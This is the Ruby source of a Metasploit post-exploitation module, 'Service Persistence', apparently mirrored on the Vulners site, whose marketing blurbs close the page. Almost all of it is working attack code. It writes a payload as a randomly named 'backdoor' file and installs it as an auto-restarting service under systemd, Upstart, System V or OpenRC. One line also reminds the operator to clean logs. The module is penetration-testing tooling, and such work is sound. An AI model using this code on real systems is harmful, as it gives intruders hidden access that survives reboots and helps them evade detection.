##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Service Persistence',
'Description' => %q(
This module will create a service on the box, and mark it for auto-restart.
We need enough access to write service files and potentially restart services
Targets:
System V:
CentOS <= 5
Debian <= 6
Kali 2.0
Ubuntu <= 9.04
Upstart:
CentOS 6
Fedora >= 9, < 15
Ubuntu >= 9.10, <= 14.10
systemd:
CentOS 7
Debian >= 7, <=8
Fedora >= 15
Ubuntu >= 15.04
Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.
),
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <[email protected]>',
'Cale Black' # systemd user target
],
'Platform' => ['unix', 'linux'],
'Targets' =>
[
['Auto', 'DefaultOptions' =>
{
'BACKDOOR_PATH' => '/usr/local/bin'
}
],
['System V', :runlevel => '2 3 4 5', 'DefaultOptions' =>
{
'BACKDOOR_PATH' => '/usr/local/bin'
}
],
['Upstart', :runlevel => '2345', 'DefaultOptions' =>
{
'BACKDOOR_PATH' => '/usr/local/bin'
}
],
['openrc', 'DefaultOptions' =>
{
'BACKDOOR_PATH' => '/usr/local/bin'
}
],
['systemd', 'DefaultOptions' =>
{
'BACKDOOR_PATH' => '/usr/local/bin'
}
],
['systemd user', 'DefaultOptions' =>
{
'BACKDOOR_PATH' => '/tmp'
}
]
],
'DefaultTarget' => 0,
'Arch' => ARCH_CMD,
'References' =>
[
['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'python netcat' # we need non-threaded/forked so the systems properly detect the service going down
}
},
'DefaultOptions' =>
{
'WfsDelay' => 5
},
'DisclosureDate' => '1983-01-01', # system v release date
)
)
register_options(
[
OptPath.new('BACKDOOR_PATH', [true, 'Writable path to put our shell', '/usr/local/bin']),
OptString.new('SHELL_NAME', [false, 'Name of shell file to write']),
OptString.new('SERVICE', [false, 'Name of service to create'])
]
)
register_advanced_options(
[
OptBool.new('EnableService', [true, 'Enable the service', true])
]
)
end
def exploit
backdoor = write_shell(datastore['BACKDOOR_PATH'])
if backdoor.nil?
return
end
path = backdoor.split('/')[0...-1].join('/')
file = backdoor.split('/')[-1]
case target.name
when 'System V'
system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d'))
when 'Upstart'
upstart(path, file, target.opts[:runlevel])
when 'openrc'
openrc(path, file)
when 'systemd'
systemd(path, file)
when 'systemd user'
systemd_user(path, file)
else
if service_system_exists?('systemctl')
print_status('Utilizing systemd')
systemd(path, file)
end
if service_system_exists?('initctl')
print_status('Utilizing Upstart')
upstart(path, file, '2345')
end
if service_system_exists?('openrc')
print_status('Utilizing openrc')
openrc(path, file)
end
has_updatercd = service_system_exists?('update-rc.d')
if has_updatercd || service_system_exists?('chkconfig') # centos 5
print_status('Utilizing System_V')
system_v(path, file, '2 3 4 5', has_updatercd)
else
print_error('Unable to detect service system')
register_file_for_cleanup(backdoor)
end
end
end
def service_system_exists?(command)
service_cmd = cmd_exec("which #{command}")
!(service_cmd.empty? || service_cmd.include?('no'))
end
def write_shell(path)
file_name = datastore['SHELL_NAME'] ? datastore['SHELL_NAME'] : Rex::Text.rand_text_alpha(5)
backdoor = "#{path}/#{file_name}"
vprint_status("Writing backdoor to #{backdoor}")
write_file(backdoor, payload.encoded)
if file_exist?(backdoor)
cmd_exec("chmod 711 #{backdoor}")
backdoor
else
print_error('File not written, check permissions.')
return
end
end
def systemd(backdoor_path, backdoor_file)
# https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/
script = %{[Unit]
Description=Start daemon at boot time
After=
Requires=
[Service]
RestartSec=10s
Restart=always
TimeoutStartSec=5
ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
[Install]
WantedBy=multi-user.target}
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
service_name = "/lib/systemd/system/#{service_filename}.service"
vprint_status("Writing service: #{service_name}")
write_file(service_name, script)
if !file_exist?(service_name)
print_error('File not written, check permissions.')
return
end
if datastore['EnableService']
vprint_status('Enabling service')
cmd_exec("systemctl enable #{service_filename}.service")
end
vprint_status('Starting service')
cmd_exec("systemctl start #{service_filename}.service")
end
def systemd_user(backdoor_path, backdoor_file)
script = <<~EOF
[Unit]
Description=Start daemon at boot time
After=
Requires=
[Service]
RemainAfterExit=yes
RestartSec=10s
Restart=always
TimeoutStartSec=5
ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
[Install]
WantedBy=default.target
EOF
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
home = cmd_exec('echo ${HOME}')
vprint_status("Creating user service directory")
cmd_exec("mkdir -p #{home}/.config/systemd/user")
service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
vprint_status("Writing service: #{service_name}")
write_file(service_name, script)
if !file_exist?(service_name)
print_error('File not written, check permissions. Attempting secondary location')
vprint_status("Creating user secondary service directory")
cmd_exec("mkdir -p #{home}/.local/share/systemd/user")
service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
vprint_status("Writing .local service: #{service_name}")
write_file(service_name, script)
if !file_exist?(service_name)
print_error('File not written, check permissions.')
return
end
end
# This was taken from pam_systemd(8)
systemd_socket_id = cmd_exec('id -u')
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
vprint_status('Reloading manager configuration')
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")
if datastore['EnableService']
vprint_status('Enabling service')
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")
end
vprint_status("Starting service: #{service_filename}")
# Prefer restart over start, as it will execute already existing service files
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}")
end
def upstart(backdoor_path, backdoor_file, runlevel)
# http://blog.terminal.com/getting-started-with-upstart/
script = %{description \"Start daemon at boot time\"
start on filesystem or runlevel [#{runlevel}]
stop on shutdown
script
cd #{backdoor_path}
echo $$ > /var/run/#{backdoor_file}.pid
exec #{backdoor_file}
end script
post-stop exec sleep 10
respawn
respawn limit unlimited}
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
service_name = "/etc/init/#{service_filename}.conf"
vprint_status("Writing service: #{service_name}")
write_file(service_name, script)
if !file_exist?(service_name)
print_error('File not written, check permissions.')
return
end
vprint_status('Starting service')
cmd_exec("initctl start #{service_filename}")
vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log")
end
def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
if has_updatercd
print_status('Utilizing update-rc.d')
else
print_status('Utilizing chkconfig')
end
script = %{#!/bin/sh
### BEGIN INIT INFO
# Provides: service
# Required-Start: $network
# Required-Stop: $network
# Default-Start: #{runlevel}
# Default-Stop: 0 1 6
# Short-Description: Start daemon at boot time
# Description: Enable service provided by daemon.
### END INIT INFO
dir=\"#{backdoor_path}\"
cmd=\"#{backdoor_file}\"
name=`basename $0`
pid_file=\"/var/run/$name.pid\"
stdout_log=\"/var/log/$name.log\"
stderr_log=\"/var/log/$name.err\"
get_pid() {
cat \"$pid_file\"
}
is_running() {
[ -f \"$pid_file\" ] && ps `get_pid` > /dev/null 2>&1
}
case \"$1\" in
start)
if is_running; then
echo \"Already started\"
else
echo \"Starting $name\"
cd \"$dir\"
}
if has_updatercd
script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
else # CentOS didn't like sudo or su...
script << " $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
end
script << %{ echo $! > \"$pid_file\"
if ! is_running; then
echo \"Unable to start, see $stdout_log and $stderr_log\"
exit 1
fi
fi
;;
stop)
if is_running; then
echo -n \"Stopping $name..\"
kill `get_pid`
for i in {1..10}
do
if ! is_running; then
break
fi
echo -n \".\"
sleep 1
done
echo
if is_running; then
echo \"Not stopped; may still be shutting down or shutdown may have failed\"
exit 1
else
echo \"Stopped\"
if [ -f \"$pid_file\" ]; then
rm \"$pid_file\"
fi
fi
else
echo \"Not running\"
fi
;;
restart)
$0 stop
if is_running; then
echo \"Unable to stop, will not attempt to start\"
exit 1
fi
$0 start
;;
status)
if is_running; then
echo \"Running\"
else
echo \"Stopped\"
exit 1
fi
;;
*)
echo \"Usage: $0 {start|stop|restart|status}\"
exit 1
;;
esac
exit 0}
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
service_name = "/etc/init.d/#{service_filename}"
vprint_status("Writing service: #{service_name}")
write_file(service_name, script)
if !file_exist?(service_name)
print_error('File not written, check permissions.')
return
end
cmd_exec("chmod 755 #{service_name}")
vprint_status('Enabling & starting our service')
if has_updatercd
cmd_exec("update-rc.d #{service_filename} defaults")
cmd_exec("update-rc.d #{service_filename} enable")
if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case
cmd_exec("service #{service_filename} start")
else
cmd_exec("/etc/init.d/#{service_filename} start")
end
else # CentOS
cmd_exec("chkconfig --add #{service_filename}")
cmd_exec("chkconfig #{service_filename} on")
cmd_exec("/etc/init.d/#{service_filename} start")
end
end
def openrc(backdoor_path, backdoor_file)
# https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts
# https://wiki.alpinelinux.org/wiki/OpenRC
# https://github.com/OpenRC/openrc/blob/master/service-script-guide.md
script = %{#!/sbin/openrc-run
name=#{backdoor_file}
command=/bin/sh
command_args="#{backdoor_path}/#{backdoor_file}"
pidfile="/run/${RC_SVCNAME}.pid"
command_background="yes"
}
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
service_name = "/etc/init.d/#{service_filename}"
vprint_status("Writing service: #{service_name}")
begin
upload_and_chmodx(service_name, script)
rescue Rex::Post::Meterpreter::RequestError
print_error("Writing '#{service_name}' to the target and or changing the file permissions failed, ensure that directory exists?")
end
if !file_exist?(service_name)
print_error('File not written, check permissions.')
return
end
if datastore['EnableService']
vprint_status('Enabling service')
cmd_exec("rc-update add '#{service_filename}'")
end
vprint_status('Starting service')
cmd_exec("'/etc/init.d/#{service_filename}' start")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation